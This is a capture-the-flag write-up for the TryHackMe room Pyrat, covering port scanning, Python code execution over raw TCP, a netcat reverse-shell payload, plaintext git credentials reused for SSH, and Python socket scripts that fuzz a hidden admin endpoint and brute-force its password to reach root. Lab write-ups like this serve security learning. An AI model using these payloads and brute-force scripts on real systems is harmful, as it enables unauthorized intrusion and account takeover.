Complete and detailed writeup of Pyrat – an easy TryHackMe room with a Python TCP server.
CTF Writeups & Bug Bounty » Try Hack Me » THM Challenges » Solving Pyrat – an Easy TryHackMe Room
Table of contents
Introduction
According to TryHackMe, Pyrat has a HTTP server where we can execute a Python code to get a shell on the machine.
We then find credentials for anothr user.
An older version of the application allows us to undertand it better, and we can find a way to fuzz passwords and get the super user password.
Looks cool to me, let’s get started!
Recon
First, the usual nmap TCP scan:
root@ip-10-80-188-84:~# nmap -sS -T5 -p- -Pn --disable-arp-ping 10.80.140.142
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-21 08:13 GMT
Nmap scan report for 10.80.140.142
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
nmap options:
- -sS: TCP SYN scan
- -T5: smallest timeout when probing open ports
- -p-: scans ports from 1 to 65535
- -Pn: disables the initial ping made by default by nmap to the target
- –disable-arp-ping: same but for the ARP ping as it’s a local target
So the HTTP server runs on port 8000, which is common for Python projects.
Let’s try to enumerate endpoints or parameters with ffuf:
root@ip-10-80-188-84:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u "http://10.80.140.142:8000/FUZZ" -mc all -r -ic -fs 27
[no result]
root@ip-10-80-188-84:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u "http://10.80.140.142:8000/?FUZZ=1" -mc all -r -ic -fs 27
[no result]
ffuf options:
- -w: wordlist to use when fuzzing our target (each word will replace the keyword “FUZZ”)
- -u: our target
- -mc all: marks all HTTP codes as successful responses from the server
- -r: follows redirect responses from the server
- -fs: filter the HTTP responses from the server: does not show responses with 27 characters
- -ic: ignores comments inside the wordlist (e.g. lines that start with “#”)
Well we find nothing. No endpoint, no parameters, etc. I tried with all HTTP methods I could find, different HTTP headers, user agents values, etc.
We always got the same response from the server that told us to “try a more basic connection”…
A more basic connection – getting code execution
What’s more basic than using HTTP when connecting to a HTTP service?
Well I thought I could go down the OSI model and try a direct TCP connection through nc:
root@ip-10-80-188-84:~# nc 10.80.140.142 8000
GET / HTTP/1.0
name 'GET' is not defined
HEAD /
invalid syntax (<string>, line 1)
id;
uname -a
name 'uname' is not defined
id
echo 'hi'
invalid syntax (<string>, line 1)
echo 1
invalid syntax (<string>, line 1)
print("hi")
hi
print(1)
1
Turns out it was a good idea!
The app running on port 8000 seems to interpret our input as a Python code.
The biggest hints were the messages like “invalid syntax (<string>, line 1)” or “name ‘GET’ is not defined“. These messages clearly look like Python error messages.
When we input Python code like print(1), the server responds with the output 1.
We have a free and unlimited code execution! Now, let’s get our reverse shell:
Terminal 1 – listening to incoming connections with nc:
root@ip-10-80-188-84:~# nc -nlvp 9001
Listening on 0.0.0.0 9001
nc options:
- -l: listen mode
- -v: verbose
- -p: port to listen to
- -n: don’t do any DNS lookups on hostnames or ports
Terminal 2 – let’s craft a Python reverse shell payload using Reverse Shell Generator and send it through nc:
root@ip-10-80-188-84:~# nc 10.80.140.142 8000
import os; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.80.188.84 9001 >/tmp/f")
Back to terminal 1, we receive the shell with www-data rights:
root@ip-10-80-188-84:~# nc -nlvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.80.140.142 47400
sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@ip-10-80-140-142:~$
www-data@ip-10-80-140-142:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Great, we’ve done the first step of the description: executing code in the Python app to get a shell.
Now let’s find the credentials.
Finding a password in the .git folder
After enumerating the filesystem for a few minutes, I quickly found what we were looking for, inside the /opt/dev folder:
www-data@ip-10-80-140-142:~$ ls -lA /opt/dev
total 4
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
www-data@ip-10-80-140-142:~$ ls -lA /opt/dev/.git
total 44
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@ip-10-80-140-142:/opt/dev/.git$ cat config
[...]
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
There is the .git folder of the Python app inside /opt/dev.
And the config file contains the credentials for a user called “think”.
“think” is also a user on the server, and this users reused this git password as their account password, which means we can connect to the server through SSH with the git credentials!
root@ip-10-80-188-84:~# ssh think@10.80.140.142
The authenticity of host '10.80.140.142 (10.80.140.142)' can't be established.
ECDSA key fingerprint is SHA256:gcMLqFWi04T2yg7DA2/XveBsTcALR3uwv1HzHyOzdf4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.80.140.142' (ECDSA) to the list of known hosts.
think@10.80.140.142's password:
[...]
think@ip-10-80-140-142:~$ cat user.txt
996bd*******************************
Great, we have the user flag.
Now, still following the official description of the room, let’s explore the older version of the web app.
Exploring the .git folder
Let’s download the .git folder from the remote server to our local machine to make things easier. For this, I used the scp command that runs over SSH. It will store the remote .git folder inside our local /tmp/.git folder:
root@ip-10-80-188-84:/tmp# mkdir .git
root@ip-10-80-188-84:/tmp# cd .git
root@ip-10-80-188-84:/tmp/.git# scp -r think@10.80.140.142:/opt/dev/.git ./
think@10.80.140.142's password:
3c36d66369fd4b07ddca72e5379461a63470bf 100% 139 168.0KB/s 00:00
425cfd98c0a413205764cb1f341ae2b5766928 100% 308 321.0KB/s 00:00
110f327a3265dd1dcae9454c35f209c8131e26 100% 57 68.4KB/s 00:00
COMMIT_EDITMSG 100% 21 53.8KB/s 00:00
HEAD 100% 23 29.8KB/s 00:00
description 100% 73 93.6KB/s 00:00
pre-receive.sample 100% 544 689.9KB/s 00:00
update.sample 100% 3610 3.5MB/s 00:00
post-update.sample 100% 189 208.6KB/s 00:00
pre-applypatch.sample 100% 424 448.5KB/s 00:00
pre-commit.sample 100% 1638 2.0MB/s 00:00
pre-merge-commit.sample 100% 416 486.7KB/s 00:00
prepare-commit-msg.sample 100% 1492 1.8MB/s 00:00
applypatch-msg.sample 100% 478 619.0KB/s 00:00
fsmonitor-watchman.sample 100% 3079 3.2MB/s 00:00
commit-msg.sample 100% 896 1.1MB/s 00:00
pre-rebase.sample 100% 4898 5.1MB/s 00:00
pre-push.sample 100% 1348 1.6MB/s 00:00
config 100% 296 677.3KB/s 00:00
exclude 100% 240 278.6KB/s 00:00
HEAD 100% 172 179.1KB/s 00:00
master 100% 172 174.3KB/s 00:00
master 100% 41 45.6KB/s 00:00
index 100% 145 171.2KB/s 00:00
Nice, now let’s play around with the git command and see what we can find in the logs:
oot@ip-10-80-188-84:/tmp/.git/.git# git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
Ok so there is 1 commit where the comment is “Added shell endpoint”. Interesting, let’s see with git show:
root@ip-10-80-188-84:/tmp/.git/.git# git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
[...]
If I understand the program correctly, there is a certain endpoint that was replaced by “some_endpoint” that triggers the get_this_endpoint() function, that we don’t see in the commit.
So this is where the fuzzing appears: we must bruteforce this endpoint with a custom script that connects to TCP and tries different endpoints.
Fuzzing Endpoints
In order to fuzz such a specific app, I coded a small and ugly Python program that uses the socket module:
import socket
HOST = "10.80.140.142"
PORT = 8000
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
with open('/usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt')as f:
for word in f.readlines():
if word.startswith("#"):
continue
try:
s.sendall("{}".format(word).encode())
data = s.recv(1024)
if len(data.decode()) < 10:
continue
if "is not defined" not in data.decode() and "leading zero" not in data.decode() and "invalid syntax" not in data.decode():
print(data.decode())
print(word)
input()
except:
continue
The program does the following:
- Connects to the remote server through TCP
- Opens the “directory-list-lowercase-2.3-small.txt” files and loops through each line of its content
- For each line, ignores the line if it’s a comment (starts with #)
- If not a comment, sends the data (the word) through the socket connection and receives the response from the server
- If the server response is different and not an error (“is not defined”, “leading zero” and “invalid syntax” are strings that appeared in errors) and the response size from the server is longer than 9 characters, then the current word generated a different response from the server and we print it. If the server response is different then it must be the mysterious endpoint we’re looking for.
After running the program, we quickly see the name “admin” appearing on the output:
root@ip-10-80-188-84:/tmp# python3 fuzztcp.py
admin
Boom, the endpoint “admin” is the one we were looking for.
Let’s try it manually:
root@ip-10-80-188-84:/tmp# nc 10.80.140.142 8000
admin
Password:
test
Password:
When we enter “admin”, the server asks for the password.
Well, it’s time to fuzz the password too, with a slightly modified script.
Fuzzing Passwords
Let’s see the program I used:
import socket
HOST = "10.80.140.142"
PORT = 8000
with open('/usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-1000000.txt')as f:
for word in f.readlines():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall("admin".encode())
s.recv(1024)
s.sendall("{}".format(word).encode())
data = s.recv(1024)
if not "Password" in data.decode():
print(word)
input()
s.close()
The program is a bit different, because for each word, a new TCP connection is established. This is dirty but it worked perfectly.
For each word, Python connects to our target, sends the “admin” word, waits for the response, then send a password from the wordlist xato-net-10-million-passwords-1000000.txt. If the server doesn’t respond with “Password”, then the password was accepted:
root@ip-10-80-188-84:/tmp# python3 fuzztcp.py
abc123
Too easy…
Reading the root flag
Now, our last step, reading the root flag:
root@ip-10-80-188-84:/tmp# nc 10.80.140.142 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls -lA /root
ls -lA /root
total 60
lrwxrwxrwx 1 root root 9 Jun 2 2023 .bash_history -> /dev/null
-rwxrwx--- 1 root root 3230 Jun 21 2023 .bashrc
drwx------ 2 root root 4096 Jun 21 2023 .cache
drwx------ 3 root root 4096 Dec 22 2023 .config
-rw-r--r-- 1 root root 29 Jun 21 2023 .gitconfig
drwxr-xr-x 3 root root 4096 Jan 4 2024 .local
-rwxrwx--- 1 root root 161 Dec 5 2019 .profile
-rwxr-xr-x 1 root root 5360 Apr 15 2024 pyrat.py
-rw-r----- 1 root root 33 Jun 15 2023 root.txt
-rw-r--r-- 1 root root 75 Jun 15 2023 .selected_editor
drwxrwx--- 3 root root 4096 Jun 2 2023 snap
drwx------ 2 root root 4096 Jun 2 2023 .ssh
-rw-rw-rw- 1 root root 10561 Apr 15 2024 .viminfo
# cat /root/root.txt
cat /root/root.txt
ba5e*********************************
Done!
Conclusion
What a cool CTF!
It was a great challenge, because I had to make my own programs for fuzzing instead of relying on my favorite tool ffuf.
And using the .git folder to find an old commit and the config file is cool too, because .git are not commonly used in CTFs.
Overall, a very fun challenge! I encourage you to do it yourself, even if you read the solution here 🙂
Disclaimer
This article is provided for educational purposes only.
All techniques demonstrated were performed in a controlled lab environment.
Do not attempt to reproduce these actions on systems you do not own or have explicit authorization to test.
I do not encourage or take responsibility for any illegal use of the information provided.